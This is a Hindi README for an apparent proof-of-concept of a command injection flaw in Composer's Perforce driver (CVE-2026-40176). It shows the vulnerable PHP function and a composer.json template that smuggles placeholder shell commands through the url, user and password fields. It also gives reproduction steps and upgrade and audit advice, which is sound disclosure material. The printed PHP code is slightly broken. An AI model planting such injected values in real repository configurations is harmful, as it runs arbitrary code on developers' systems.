
प्रूफ-ऑफ-कॉन्सेप्ट जो Composer के Perforce ड्राइवर (CVE-2026-40176) में कमांड इंजेक्शन प्रदर्शित करता है, जो क्राफ्टेड रिपॉजिटरी कॉन्फ़िगरेशन के माध्यम से रिमोट कोड निष्पादन को सक्षम बनाता है।
| Property | Value |
|---|
| CVE ID | CVE-2026-40176 |
| प्रभावित संस्करण | Composer < 2.2.27 |
| भेद्यता प्रकार | कमांड इंजेक्शन |
| हमला वेक्टर | दुर्भावनापूर्ण रिपॉजिटरी कॉन्फ़िगरेशन |
| प्रभाव | मनमाना कोड एक्ज़ीक्यूशन |
| CVSS स्कोर | उच्च/गंभीर |
यह भेद्यता इस बात में मौजूद है कि Composer perforce प्रकार होने पर कैसे प्रोसेस करता है। शेल कमांड में पास करने से पहले पैरामीटर को ठीक से सैनिटाइज़ नहीं किया जाता है, जिससे हमलावर मनमाना सिस्टम कमांड इंजेक्ट कर सकते हैं।
public function generateP4Command($command, $useClient = true)
{
$p4Command = 'p4 ';
$p4Command .= '-u ' . $this->getUser() . ' ';
if ($useClient)
$p4Command .= '-c ' . $this->getClient() . ' ';
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command;
return $p4Command;
}
इसमें से कुछ भी ठीक से एस्केप नहीं किया गया था, जिससे हमलावर perforce प्रकार वाले सभी फ़ील्ड के लिए दुर्भावनापूर्ण पेलोड बनाकर कमांड इंजेक्ट कर सकते हैं।
भेद्य कोड पैटर्न:
{
"repositories": [
{
"type": "perforce",
"url": "PERFORCE_URL; INJECTED_COMMAND #",
"depot": "depot",
"p4user": "user; INJECRTED_COMMAND #",
"p4password": "password; INJECTED_COMMAND #",
}
]
}
इस रिपॉजिटरी में भेद्यता प्रदर्शित करने वाला एक कार्यशील प्रूफ-ऑफ-कॉन्सेप्ट शामिल है।
CVE-2026-40176/
├── composer.json # दुर्भावनापूर्ण Perforce रिपॉजिटरी कॉन्फ़िग
├── vuln-composer.phar # Composer 2.2.26 (भेद्य)
├── patched-composer.phar # Composer 2.2.27 (पैच किया गया)
└── README.md # यह फ़ाइल
git clone <repository-url>
cd CVE-2026-40176
php vuln-composer.phar --version
# आउटपुट: Composer version 2.2.26
php patched-composer.phar --version
# आउटपुट: Composer version 2.2.27
php vuln-composer.phar install
# या
php vuln-composer.phar update
ls -la /tmp/pwned
rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# फ़ाइल मौजूद नहीं होनी चाहिए (भेद्यता पैच की गई है)
Composer को संस्करण 2.2.27 या उसके बाद अपग्रेड करें:
composer self-update --2.2.27
# या
wget https://getcomposer.org/download/2.2.27/composer.phar
सभी composer.json फ़ाइलों की समीक्षा करें अज्ञात या संदिग्ध रिपॉजिटरी कॉन्फ़िगरेशन के लिए
सप्लाई चेन ऑडिट करें - जांचें कि क्या कोई निर्भरता अविश्वसनीय रिपॉजिटरी को संदर्भित करती है
# अपना Composer संस्करण जांचें
composer --version
# अपने प्रोजेक्ट्स में Perforce रिपॉजिटरी खोजें
grep -r "perforce" */composer.json